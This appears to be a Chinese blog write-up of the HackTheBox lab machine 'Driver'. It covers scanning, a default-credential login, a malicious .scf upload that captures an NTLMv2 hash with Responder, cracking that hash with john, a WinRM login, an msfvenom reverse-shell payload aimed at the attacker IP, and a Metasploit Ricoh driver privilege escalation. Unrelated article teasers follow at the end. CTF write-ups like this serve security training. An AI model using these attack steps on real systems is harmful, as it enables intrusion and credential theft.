当前位置: 首页 > news >正文

HTB:Driver[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用smbclient尝试root用户空密码登录靶机SMB服务

边界突破

使用浏览器访问靶机80端口

使用Yakit抓取请求包

仿照该凭证格式,使用字典尝试爆破密码

使用上述凭证通过该页面认证后进入面板

尝试上传.scf文件利用SMB反射获取用户凭证

使用responder开始欺骗及监听客户端

将该哈希值写入文件以便爆破

使用john对该哈希文件进行字典爆破

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

查看靶机C盘根目录

查看靶机系统内用户

查看当前用户账户信息

查看当前用户权限信息

查看当前用户PS历史记录

查找该驱动所在目录路径

 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞

使用msfvenom生成Payload

将该Payload上传至靶机中

启动Metasploit

检索该漏洞模块


连接至HTB服务器并启动靶机

靶机IP:10.10.11.106

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.106 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,         
80,135,445,5985
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
80,135,445,5985

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.106

  • 需要重点关注的端口和服务

80端口:IIS服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.106

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.106

使用smbclient尝试root用户空密码登录靶机SMB服务

smbclient -L \\10.10.11.106

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.11.106
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED


边界突破

使用浏览器访问靶机80端口

  • 提示需要用户名和密码

使用Yakit抓取请求包
  • 其中,请求头中的Authorization参数用于发送凭证

  • 对Basic后的字符串进行解码

仿照该凭证格式,使用字典尝试爆破密码

Authorization: Basic YWRtaW46YWRtaW4=

  • Base64解码后

账户:admin

密码:admin

  • 将靶机IP与主域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.106 driver.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.106 driver.htb' /etc/hosts
                                                                                                                         
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts                           
10.10.11.106 driver.htb

使用上述凭证通过该页面认证后进入面板
  • 这里不知道为啥加载出来是这样的,反正也是转了半天

  • 点击左上角的Firmware Updates进入固件更新页,该页允许文件上传

  • 该页面中存在描述:Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.

翻译:选择打印机型号并将相应的固件更新上传到我们的文件共享。我们的测试团队将手动审查上传并尽快启动测试。

  • 因此,从这里上传的所有文件应当都会保存在靶机SMB服务器中,换句话说通过该页面我们拥有了向靶机SMB服务器写入文件的权限

尝试上传.scf文件利用SMB反射获取用户凭证

基于SCF文件的SMB中继攻击:攻击者上传精心构造的恶意.scf文件到SMB服务器共享目录,用户浏览该目录时,系统自动解析.scf文件触发向恶意服务器的访问请求,进而以用户身份发送NTLMv2认证请求,攻击者截获并获取该用户的NTLMv2凭证 。

  • 构造一个恶意的.scf文件
[Shell]    
Command=2    
IconFile=\\10.10.16.13\test
使用responder开始欺骗及监听客户端
responder -wv -I tun0
  • 选择文件后,点击Submit开始上传

  • 攻击机responder收到回显

  • tony用户哈希值
tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
将该哈希值写入文件以便爆破
echo 'tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000' > hash
使用john对该哈希文件进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt

账户:tony

密码:liltony

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

  • 在C:\Users\tony\Desktop目录下找到user.txt文件


权限提升

查看靶机C盘根目录

  • 可见存在两个Program Files目录,因此靶机系统大概率为64位系统

查看靶机系统内用户

net user

  • 靶机系统内普通权限用户仅有该用户
查看当前用户账户信息
net user tony

  • 该用户没有加入特殊权限组
查看当前用户权限信息
whoami /priv

  • 没有可利用的特权
查看当前用户PS历史记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\tony\Desktop> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1

  • Powershell历史记录中第一条命令整体功能为,向系统添加一个打印机,其中驱动完整名称:`RICOH PCL6 UniversalDriver V4.23`
查找该驱动所在目录路径
cmd /c dir /s /ad "RICOH PCL6 UniversalDriver V4.23"

  • 该驱动所在位置:C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23
 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞
searchsploit --cve 2019-19363

  • 由输出可见,该漏洞集成于MSF中

使用msfvenom生成Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

将该Payload上传至靶机中
upload shell.exe

启动Metasploit
msfconsole
  • 切换到监听模块
use exploit/multi/handler
  • 配置好选项:LHOST、LPORT、PAYLOAD,并开始监听

msf6 exploit(multi/handler) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(multi/handler) > set LPORT 1425
LPORT => 1425
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.13:1425

  • 控制靶机运行Payload
.\shell.exe
  • 攻击机MSF监听端收到回显

[*] Started reverse TCP handler on 10.10.16.13:1425
[*] Sending stage (203846 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.16.13:1425 -> 10.10.11.106:49431) at 2025-01-13 04:44:35 -0500

meterpreter >

  • 列出靶机系统进程
ps

  • 通过Session栏目判断,为0则是系统进程,为1则是用户进程。我尝试将Meterpreter迁移进用户进程explorer.exe
migrate -N explorer.exe

meterpreter > migrate -N explorer.exe
[*] Migrating from 4256 to 3260...
[*] Migration completed successfully.

检索该漏洞模块
search 2019-19363

  • 切换到该模块
use exploit/windows/local/ricoh_driver_privesc
  • 列出该模块所需填写的选项
show options

  • 此处需要配置好的选项:LHOST、LPORT、PAYLOAD、SESSION

msf6 exploit(windows/local/ricoh_driver_privesc) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(windows/local/ricoh_driver_privesc) > set LPORT 1426
LPORT => 1426
msf6 exploit(windows/local/ricoh_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1

  • 执行该模块
exploit

  • 查找root.txt文件位置
search -f root.txt

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\root.txt  34            2025-01-13 05:55:59 -0500

  • 查看root.txt文件内容

meterpreter > shell
Process 1876 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
030cd5d04a90f1bd3c163e0bcd3280eb

相关文章:

HTB:Driver[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用smbclient尝…...

微信小程序-Docker+Nginx环境配置业务域名验证文件

在实际开发或运维工作中,我们时常需要在 Nginx 部署的服务器上提供一个特定的静态文件,用于域名验证或第三方平台验证。若此时使用 Docker 容器部署了 Nginx,就需要将该验证文件正确地映射(挂载)到容器中,并…...

55_OpenResty开发入门

Nginx编程需要用到Lua语言,因此我们必须先学习Lua的基本语法。Nginx本身也是C语言开发,因此也允许基于Lua做拓展。多级缓存的实现离不开Nginx编程,而Nginx编程又离不开OpenResty。 1.OpenResty概述 OpenResty是一款基于NGINX和LuaJIT的Web平台。通过Lua扩展NGINX实现的可伸…...

Windows安装Jenkins——及修改主目录、配置简体中文、修改插件源

一、简介 Jenkinshttps://www.jenkins.io/zh/ Jenkins是开源CI&CD软件领导者, 提供超过1000个插件来支持构建、部署、自动化, 满足任何项目的需要。 二、Windows安装配置Jenkins2.479 2.1、J...

大数据环境搭建进度

1.使用虚拟机的系统:centos7.xLinux 2.资源不足,使用云服务器: 1. 3.使用远程登录进行操作 用xshell 4.任务 1.虚拟机装好 2.设置IP地址 3.可以联网 4.设置远程登录访问 5.创建module和software目录,修改两…...

第27章 汇编语言--- 设备驱动开发基础

汇编语言是低级编程语言的一种,它与特定的计算机架构紧密相关。在设备驱动开发中,汇编语言有时用于编写性能关键的部分或直接操作硬件,因为它是接近机器语言的代码,可以提供对硬件寄存器和指令集的直接访问。 要展开源代码详细叙…...

Apache Hop从入门到精通 第二课 Apache Hop 核心概念/术语

1、apache hop核心概念思维导图 虽然apache hop是kettle的一个分支,但是它的概念和kettle还是有一些区别的,下图是我根据官方文档梳理的appache hop的核心概念思维导图。 2、Tools(工具) 1)Hop Conf Hop Conf 是一个…...

Vue2+OpenLayers使用Overlay实现点击获取当前经纬度信息(提供Gitee源码)

目录 一、案例截图 二、安装OpenLayers库 三、代码实现 关键参数: 实现思路: 核心代码: 完整代码: 四、Gitee源码 一、案例截图 二、安装OpenLayers库 npm install ol 三、代码实现 覆盖物(Overlay&#xf…...

英语互助小程序springboot+论文源码调试讲解

第2章 开发环境与技术 英语互助小程序的编码实现需要搭建一定的环境和使用相应的技术,接下来的内容就是对英语互助小程序用到的技术和工具进行介绍。 2.1 MYSQL数据库 本课题所开发的应用程序在数据操作方面是不可预知的,是经常变动的,没有…...

中等难度——python实现电子宠物和截图工具

import io # 文件处理 import nt # windows nt 库直接获取对应的磁盘空间 import time # 时间 import zlib # 加解密 import ctypes # 调用 import struct # 处理字节二进制 import base64 # 编解码 import threading # 线程 import tkinter as tk # tk from datetime…...

深入Android架构(从线程到AIDL)_22 IPC的Proxy-Stub设计模式04

目录 5、 谁来写Proxy及Stub类呢? 如何考虑人的分工 IA接口知识取得的难题 在编程上,有什么技术可以实现这个方法? 范例 5、 谁来写Proxy及Stub类呢? -- 强龙提供AIDL工具,给地头蛇产出Proxy和Stub类 如何考虑人的分工 由框架开发者…...

【MySQL数据库】基础总结

目录 前言 一、概述 二、 SQL 1. SQL通用语法 2. SQL分类 3. DDL 3.1 数据库操作 3.2 表操作 4. DML 5. DQL 5.1 基础查询 5.2 条件查询 5.3 聚合函数 5.4 分组查询 5.5 排序查询 5.6 分页查询 6. DCL 6.1 管理用户 6.2 权限控制 三、数据类型 1. 数值类…...

49_Lua调试

Lua提供了debug库用于创建自定义调试器,尽管Lua本身没有内置的调试器1。这个库允许开发者在程序运行时检查和控制执行流程,这对于开发过程中的错误查找和修复非常有用。 1.Debug库概述 debug库提供的函数可以分为两类:自省函数(introspection functions)和钩子函数(hoo…...

vue的KeepAlive应用(针对全部页面及单一页面进行缓存)

KeepAlive的作用是缓存包裹在其中的动态切换组件 当一个组件在 中被切换时,它的 activated 和 deactivated 生命周期钩子将被调用,用来替代 mounted 和 unmounted。这适用于 的直接子节点及其所有子孙节点。 缓存全部页面 将app.vue中的路由出口改为&am…...

lwip单网卡多ip的实现

1、今天要实现lwip的多个ip配置,本来以为需要自己修改很多核心代码 2、查阅资料才发现,lwip已经把接口留出来了 /** Define this to 1 and define LWIP_ARP_FILTER_NETIF_FN(pbuf, netif, type) * to a filter function that returns the correct neti…...

// Error: line 1: XGen: Candidate guides have not been associated!

Maya xgen 报错// Error: line 1: XGen: Candidate guides have not been associated! 复制下面粘贴到Maya脚本管理器python运行: import maya.cmds as cmds def connect_xgen_guides():guide_nodes cmds.ls(typexgmMakeGuide)for node in guide_nodes:downstream…...

第21篇 基于ARM A9处理器用汇编语言实现中断<三>

Q:怎样编写ARM A9处理器汇编语言代码配置按键端口产生中断? A:使用Intel Monitor Program创建中断程序时,Linker Section Presets下拉菜单中需选择Exceptions。主程序在.vectors代码段为ARM处理器设置异常向量表,在…...

mac homebrew配置使用

本文介绍mac上homebrew工具的安装、配置过程。homebrew功能类似于centos的yum,用于软件包的管理,使用上有命令的差异。 本次配置过程使用mac,看官方文档,在linux上也可以用,但我没试过,有兴趣的同学可以试试…...

慧集通(DataLinkX)iPaaS集成平台-业务建模之业务对象(三)

4.搜索配置 搜索配置是用于该业务对象发布后被其它业务对象的搜索组件调用时界面显示内容以及对应查询条件的配置;当我们选择一条业务对象然后点击功能按钮【搜索配置】,则进入业务对象的搜索配置维护界面。 在搜索配置的维护界面我们可以维护该业务对象…...

【redis初阶】环境搭建

​​​​​​​ 目录 ​​​​​​​ 一、Ubuntu 安装 redis 二、Centos7 安装 redis 三、Centos8 安装 redis 四、redis客户端介绍 redis学习🥳 一、Ubuntu 安装 redis 使用 apt 安装 apt install redis -y 查看redis版本 redis-server --version 支持远程连接…...

Stitches项目架构分析:RequireJS模块化设计与Grunt构建流程完全指南 [特殊字符]

Stitches项目架构分析:RequireJS模块化设计与Grunt构建流程完全指南 🚀 【免费下载链接】stitches HTML5 Sprite Sheet Generator 项目地址: https://gitcode.com/gh_mirrors/sti/stitches Stitches是一个基于HTML5的雪碧图生成器,它采…...

告别网盘客户端!用Alist+RaiDrive把百度云盘变成电脑本地文件夹(保姆级图文教程)

用AlistRaiDrive实现网盘本地化管理的终极方案 你是否厌倦了电脑上安装多个网盘客户端,不仅占用系统资源,操作还繁琐割裂?每次上传下载文件都要在不同客户端间切换,效率低下。现在,通过Alist和RaiDrive的组合&#xf…...

录音会议纪要整理不同使用场景,实用口碑选择建议

针对不同场景的录音整理需求(短录音、中长录音、长内容深度整理),本文基于实际使用体验,分享不同场景下的工具选择建议与使用心得。一、场景一:短录音(15-60分钟,发音清晰)典型场景&…...

Vulnhub-DC-1

1.信息收集 使用工具nmap扫描主机端口 这是Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成 Web指纹扫描 发现是:drupal…...

Owl-Alpha 新手快速上手指南

在处理大规模数据或构建高性能应用时,我们常常会遇到一个棘手的问题:如何在不阻塞主线程的情况下,高效地执行耗时任务?无论是处理图像、解析大型文件,还是进行复杂的数学运算,传统的单线程模式往往会让界面…...

LeagueAkari:英雄联盟终极自动化助手革命性指南

LeagueAkari:英雄联盟终极自动化助手革命性指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否在英雄联盟游戏中反复经历这…...

通过Taotoken标准OpenAI协议实现分钟级集成现有代码

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 通过Taotoken标准OpenAI协议实现分钟级集成现有代码 1. 迁移背景与核心思路 许多开发团队在构建AI应用时,会直接使用O…...

告别坐标点击!用Poco精准定位UI控件,让你的Airtest安卓自动化脚本更稳定

告别坐标点击!用Poco精准定位UI控件,让你的Airtest安卓自动化脚本更稳定每次UI微调就导致脚本大面积失效?分辨率变化让精心编写的自动化测试瞬间崩溃?作为从坐标点击转型到控件识别的实践者,我深刻理解这种挫败感。三年…...

基于Jetson Nano与JNEEG Shield的脑电信号采集与边缘AI处理实战

1. 项目概述:低成本脑机接口的硬件基石 如果你对脑机接口、生物信号处理或者边缘AI应用感兴趣,但又苦于专业设备动辄数万甚至数十万的高昂门槛,那么JNEEG Shield的出现,可能会为你打开一扇新的大门。这是一个专为NVIDIA Jetson Na…...

仅限首批200位架构师获取:DeepSeek-DDD联合建模工作坊实录(含领域事件风暴原始会议录像+决策日志)

更多请点击: https://kaifayun.com 第一章:DeepSeek领域驱动设计的范式演进与本质洞察 DeepSeek作为面向大规模智能体协同与复杂业务语义建模的新一代AI原生架构,其领域驱动设计(DDD)实践已突破传统分层单体范式&…...